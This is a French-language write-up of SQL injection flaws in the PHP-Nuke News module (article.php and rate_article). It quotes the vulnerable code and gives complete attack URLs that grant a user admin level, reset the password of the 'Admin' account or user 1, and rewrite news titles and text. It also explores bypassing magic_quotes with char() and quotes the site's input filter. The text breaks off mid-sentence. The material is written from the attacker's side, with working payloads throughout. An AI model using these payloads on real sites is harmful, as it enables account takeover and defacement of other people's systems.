PHP-Nuke ******** Informations : °°°°°°°°°°°°°° Langage : PHP Website : http://www.phpnuke.org Version : 5.6, 6.0, 6.5 RC1, 6.5 RC2, 6.5 RC3, 6.5 Module : News Problème : Injection SQL Developpement : °°°°°°°°°°°°°°° J'ai continué ma recherche sur PHP-Nuke, mais avec cette fois-ci l'occasion de voir si les failles trouvées étaient "compatibles" à la version 6.5 RC2 et RC3 (merci à webotheque de www.demarc.be pour les sources :)). J'ai donc appliqué les recherches que j'avais faites sur le module 'News', initiallement testées sur la version 6.0, sur cette dernière version et avec succès. Il y a donc moyen, via le module News : - De changer les informations de n'importe quel utilisateur (dont son mot de passe) - Transformer un compte utilisateur en administrateur ou moderateur et vis et versa - De changer le titre, le contenu,... de n'importe quelle news - De lire n'importe quel fichier du disque dur via les news - ... La première faille, permettant de changer toutes les informations de n'importe qui dans la table nuke_users ( la table utilisateur) et donc de rendre admin, est exactement du même style que la faille qui avait les mêmes consèquences dans le module Your_Account. Comme elle, l'utilisation de cette faille n'est possible que si magic_quotes_gpc=OFF, c'est à dire quand les caractères ' , " et \ ne sont pas 'addslashés'. Le problème se trouve dans le fichier /modules/News/article.php, auquel on accède grâce à une url du type http://[website]/modules.php?name=News&file=article. Voici le code qui nous interesse : ----------------------------------------------------------------------------------------------------------------------------- if (stristr($REQUEST_URI,"mainfile")) { Header("Location: modules.php?name=$module_name&file=article&sid=$sid"); } elseif (!isset($sid) && !isset($tid)) { Header("Location: index.php"); } if ($save AND is_user($user)) { cookiedecode($user); $db->sql_query("UPDATE ".$user_prefix."_users SET umode='$mode', uorder='$order', thold='$thold' where uid='$cookie[0]'"); getusrinfo($user); $info = base64_encode("$userinfo[user_id]:$userinfo[username]:$userinfo[user_password]:$userinfo[storynum]:$userinfo[umode]:$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]"); setcookie("user","$info",time()+$cookieusrtime); } ----------------------------------------------------------------------------------------------------------------------------- On voit que le code est scindé en deux parties, par des "if". La première requête redirige si certaines conditions ne sont pas replies. Elles nous oblige à donner une valeur à $tid ou $sid. Sans quoi on ne pourra accèder à la deuxième partie du code, où se trouve la possibilité d'injection SQL. L'url sera donc obligatoirement du type : http://[website]/modules.php?name=News&file=article&sid=1 La ligne où se trouve l'injection SQL est la suivante : -------------------------------------------------------------------------------------------------------------------------- $db->sql_query("UPDATE ".$user_prefix."_users SET umode='$mode', uorder='$order', thold='$thold' where uid='$cookie[0]'"); -------------------------------------------------------------------------------------------------------------------------- Mais avant d'arrive à cette ligne, il y a encore les conditions du deuxième "if" à remplir : ------------------------------- if ($save AND is_user($user)) { ------------------------------- La variable $save doit donc être définie, et is_user() vérifie si on est loggé ou pas; il faut donc être membre du site pour arriver à cette partie du code. Toutes les conditions sont maintenant remplies. Il faut, en tant que membre, accèder à une url du type : http://[website]/modules.php?name=News&file=article&sid=1&save=1 pour faire execute la requête. Venons-en à l'injection elle-même :) La requête SQL executée est donc la suivante : ------------------------------------------------------------------------------------------------------- UPDATE ".$user_prefix."_users SET umode='$mode', uorder='$order', thold='$thold' where uid='$cookie[0]' ------------------------------------------------------------------------------------------------------- $user_prefix est définie, et vaut par défaut 'nuke'. $cookie[0] est un élément du cookie envoyé par l'authentification est décodé par la fonction cookiedecode() : l'id utilisateur. $mode, $order et $thold, c'est à nous des les définir. Si on leur donne tous la valeur "111", et que notre id est '1526', ça donnera une requête du style : ----------------------------------------------------------------------------- UPDATE nuke_users SET umode='111', uorder='111', thold='111' where uid='1526' ----------------------------------------------------------------------------- Ceci est donc pour quel genre de requête le script a été prévu. Dans cette même table nuke_users se trouve le nom, le mot de passe, le niveau du membre,... Imaginons maintenant comme comme valuer à $mode (ou $order ou $thold), je donne plutôt : ',user_level='4 J'aurais alors comme requête executée ce qui suit : ------------------------------------------------------------------------------------------ UPDATE nuke_users SET umode='', user_level='4', uorder='111', thold='111' where uid='1526' ------------------------------------------------------------------------------------------ Si dans la table SQL user_level vaut '4', ça veut dire que l'utilisateur est admin. L'url : http://[target]/modules.php?name=News&file=article&sid=1&save=1&mode=',user_level='4 ou http://[target]/modules.php?name=News&file=article&sid=1&save=1&order=',user_level='4 ou http://[target]/modules.php?name=News&file=article&sid=1&save=1&thold=',user_level='4 On pourrait donc aussi changer grâce à ce moyen son nom, son email, son mot de passe,... Pour modifier ce dernier, il faudrait l'insérer crypté en md5, car il doit l'être dans le base de donnée pour être correctement pris en compte par PHP-Nuke. Ca donnerait par exemple une url du type : http://[target]/modules.php?name=News&file=article&sid=1&save=1&order=',pass='d41d8cd98f00b204e9800998ecf8427e Ce qui donnerai la requête : ------------------------------------------------------------------------------------------------------------------ UPDATE nuke_users SET umode='111', uorder='',pass='d41d8cd98f00b204e9800998ecf8427e', thold='111' where uid='1526' ------------------------------------------------------------------------------------------------------------------ Mais ce qui interesse un hacker n'est sûrement pas de changer son propre mot de passe, mais bien celui des autres. Et c'est tout à fait possible grâce aux caractères de commentaires. Si par exemple on veut changer le mot de passe de l'utilisateur dont le nom d'utilisateur est 'Admin', ou dont l'id est 1, il suffira d'entrer une url du type : http://[target]/modules.php?name=News&file=article&sid=1&save=1&order=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Admin'/* ou http://[target]/modules.php?name=News&file=article&sid=1&save=1&order=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uid='1'/* Ce qui donnera respectivement les requêtes : ----------------------------------------------------------------------------------------------------------------------------------------- UPDATE nuke_users SET umode='111', uorder='',pass='d41d8cd98f00b204e9800998ecf8427e' where uname='admin'/*', thold='111' where uid='1526' ----------------------------------------------------------------------------------------------------------------------------------------- et ----------------------------------------------------------------------------------------------------------------------------------- UPDATE nuke_users SET umode='111', uorder='',pass='d41d8cd98f00b204e9800998ecf8427e' where uid='1'/*', thold='111' where uid='1526' ----------------------------------------------------------------------------------------------------------------------------------- Les parties se trouvant après les caractères /* ne seront alors pas prises en compte et les requêtes changerons le mot de passe de l'utilisateur 'Admin' ou de l'utilisateur dont l'id est 1. Un autre problème assez important de SQL dans PHP-Nuke se trouve dans le fichier index.php, dans la fonction rate_article, dont voici le code : ---------------------------------------------------------------------------------------------------------------------------- [...] function rate_article($sid, $score) { global $prefix, $dbi, $ratecookie, $sitename, $r_options; if ($score) { if ($score > 5) { $score = 5; } if ($score < 1) { $score = 1; } if (isset($ratecookie)) { $rcookie = base64_decode($ratecookie); $r_cookie = explode(":", $rcookie); } for ($i=0; $i < sizeof($r_cookie); $i++) { if ($r_cookie[$i] == $sid) { $a = 1; } } if ($a == 1) { Header("Location: modules.php?name=News&op=rate_complete&sid=$sid&rated=1"); } else { $result = sql_query("update ".$prefix."_stories set score=score+$score, ratings=ratings+1 where sid='$sid'", $dbi); $info = base64_encode("$rcookie$sid:"); setcookie("ratecookie","$info",time()+3600); Header("Location: modules.php?name=News&op=rate_complete&sid=$sid$r_options"); } } else { include("header.php"); title("$sitename: "._ARTICLERATING.""); OpenTable(); echo "
"._DIDNTRATE."

" .""._GOBACK."
"; CloseTable(); include("footer.php"); } } [...] switch ($op) { [...] case "rate_article": rate_article($sid, $score); break; [...] } ?> ---------------------------------------------------------------------------------------------------------------------------- Cette fonction permet de voter pour des articles sur le site. J'ai mis toute la fonction pour mieux comprendre le code, mais la ligne importante est celle-ci : ------------------------------------------------------------------------------------------------------------------- $result = sql_query("update ".$prefix."_stories set score=score+$score, ratings=ratings+1 where sid='$sid'", $dbi); ------------------------------------------------------------------------------------------------------------------- On peut donner entre 1 et 5 point à l'article, comme le montre ces lignes : --------------------------------------- if ($score > 5) { $score = 5; } if ($score < 1) { $score = 1; } --------------------------------------- Quand la ligne de code contenant la requête SQL est donc executée, le score est ajouté dans la base de donnée ("score=score+$score"), et le nombre de personnes ayant voté augmente de 1 ("ratings=ratings+1"). $prefix ayant comme valeur de défaut 'nuke', on voit que ces informations sont enregistrées dans la table nuke_stories. Hors cette table est la table où toutes les informations des news sont enregistrées (titre, intro, article, auteur,...). $score est modifiable par l'utilisateur. C'est donc la variable qui va nous servir à l'injection SQL. Un bête exemple, si on veut donner 2 points à l'article dont l'id est 15, mais ne pas enregistrer un vote supplementaire dans la base de données, seulement des points supplémentaires, on pourrait donner comme valeur à $score : 2 where sid='15'/* La requête SQL serait alors : ---------------------------------------------------------------------------------------- update nuke_stories set score=score+2 where sid='15'/*, ratings=ratings+1 where sid='15' ---------------------------------------------------------------------------------------- Ce qui se trouve après les caractères de commentaire (/*), c'est-à-dire : , ratings=ratings+1 where sid='' ne sera pas pris en compte lors de l'execution, et la requête executée dans la base sera : ---------------------------------------------------- update nuke_stories set score=score+2 where sid='15' ---------------------------------------------------- Pour le même résultat, on aurait pu donner à $score la valeur par exemple : 2, ratings=ratings-1 Ce qui aurait revenu à faire ratings=ratings-1+1, ce qui ne change evidemment rien de la valeur de ratings. Les possibilités sont nombreuses... Mais comme on est dans la même table que les autres informations des news, on peut changer autre chose que le score ou le nombre de 'votants' ! On peut changer titre, intro, texte principal,... !!! Il y a par exemple les champs topic, title, hometext, bodytext, comments, ... Ainsi, pour changer le titre de la news 1, il faudra taper une url du type : http://[target]/modules.php?name=News&op=rate_article&score=2,%20title='New%20Title'&sid=1 Ce qui donnera comme requête : ----------------------------------------------------------------------------------------- update nuke_stories set score=score+2, title='New Title', ratings=ratings+1 where sid='1' ----------------------------------------------------------------------------------------- Pour changer l'intro : http://[target]/modules.php?name=News&op=rate_article&score=2,%20hometext='New%20Home%20Text'&sid=1 Pour changer l'article : http://[target]/modules.php?name=News&op=rate_article&score=2,%20bodytext='New%20Body%20Text'&sid=1 Pour changer les trois : http://[target]/modules.php?name=News&op=rate_article&score=2,%20title='New%20Title',%20hometext='New%20Home%20Text',%20bodytext='New%20Body%20Text'&sid=1 Une grosse restriction qui empêche beaucoup de failles injection SQL en PHP, comme on l'a vu, est si magic_quotes_gpc=ON. Car la plupart des requêtes SQL modifiables sont de cette structure : SELECT * FROM table WHERE sid='$value' ou INSERT INTO table VALUES ('$value1','$value2') ou UPDATE table SET title='$value1' where sid='$value2' Chacune des variables sont l plupart du temps fixées entre des caractères '' ou "". Si on veut changer la requête, il faut donc d'abord fermer ces caractères ' ou ". Or si magic_quotes_gpc=ON, ces caractères sont transformées en \' et \", et sont donc compris comme du texte, et non pas comme la continuité de la requête SQL. Quelque chose d'extrêmement interessant dans la requête que nous exploitons en ce moment, est justement que la variable modifiable, $score, ne se trouve pas entre des guillements. On peut donc chercher un moyen d'exploiter cette faille pour qu'elle soit utilisable sur toutes les configurations PHP. Il va pour cela falloir utiliser une fonction SQL. On a le choix, mais la plus simple est la fonction char(). Cette fonction est le contraire de la fonction ASCII() : elle interprète les arguments comme des entiers et retourne une chaîne, constituée des caractères, identifiés par leur code ASCII (merci NEXEN.net pour la définition) . On sait par exemple que les lettres a, b, c et d valent respectivement en ASCII 97, 98, 99 et 100. Ainsi en SQL char(97,98,99,100) vaudra la chaîne "abcd". Si on injecte alors comme valeur à $score : 3, title=char(97,98,99,100) avec une url du type : http://[target]/modules.php?name=News&op=rate_article&score=3,%20title=char(97,98,99,100)&sid=1 la requête deviendra alors : ------------------------------------------------------------------------------------------------ update nuke_stories set score=score+3, title=char(97,98,99,100), ratings=ratings+1 where sid='1' ------------------------------------------------------------------------------------------------ Et le titre de la news 1 devrait se voir changer en "abcd". Cette exploit ne serait plus soumis à la configuration, puisque aucun caractère ', " ou \ n'est dans la requête. Mais quand on tape cette url, le résultat n'est pas vraiment celui prévu : dans les versions 5.6 et 6.0, le scrip est stoppé et affiche le message "I don't like you", et dans les versions supérieurs, le script est stoppé et on est redirigé vers index.php. Ceci est causé par ce qui est en fait le principal filtre de PHP-Nuke contre les hackers. Il se trouve dans mainfile.php, et le voici dans les versions 6.5 RC* : ------------------------------------------------------------------ [...] foreach ($_GET as $secvalue) { if ((eregi("<[^>]*script*\"?[^>]*>", $secvalue)) || (eregi("<[^>]*object*\"?[^>]*>", $secvalue)) || (eregi("\.\.", $secvalue)) || (eregi("<[^>]*iframe*\"?[^>]*>", $secvalue)) || (eregi("<[^>]*applet*\"?[^>]*>", $secvalue)) || (eregi("<[^>]*meta*\"?[^>]*>", $secvalue)) || (eregi("<[^>]*style*\"?[^>]*>", $secvalue)) || (eregi("<[^>]*form*\"?[^>]*>", $secvalue)) || (eregi("<[^>]*img*\"?[^>]*>", $secvalue)) || (eregi("\([^>]*\"?[^)]*\)", $secvalue)) || (eregi("\"", $secvalue))) { Header("Location: index.php"); die(); } } foreach ($_POST as $secvalue) { if (eregi("<[^>]*script*\"?[^>]*>", $secvalue)) { Header("Location: index.php"); die(); } } [...] ------------------------------------------------------------------ Dans les versions inférieures, la partie "foreach $_POST" n'est pas présente. Le filtre vérifie donc les variables transmises par GET, c'est à dire par une url, et un peu par POST. Si une variable est envoyée par GET, le filtre vérifie si elle ne contient pas de balise html dangereuse, ni de caractère ", ni de .., ni de caractères spéciaux. C'est les caractères spéciaux qui nous empêche l'exploit avec la fonction char(), car les caractères ( et ) en font partie. Dans POST, il est juste vérifié si la variable ne contient pas la balise '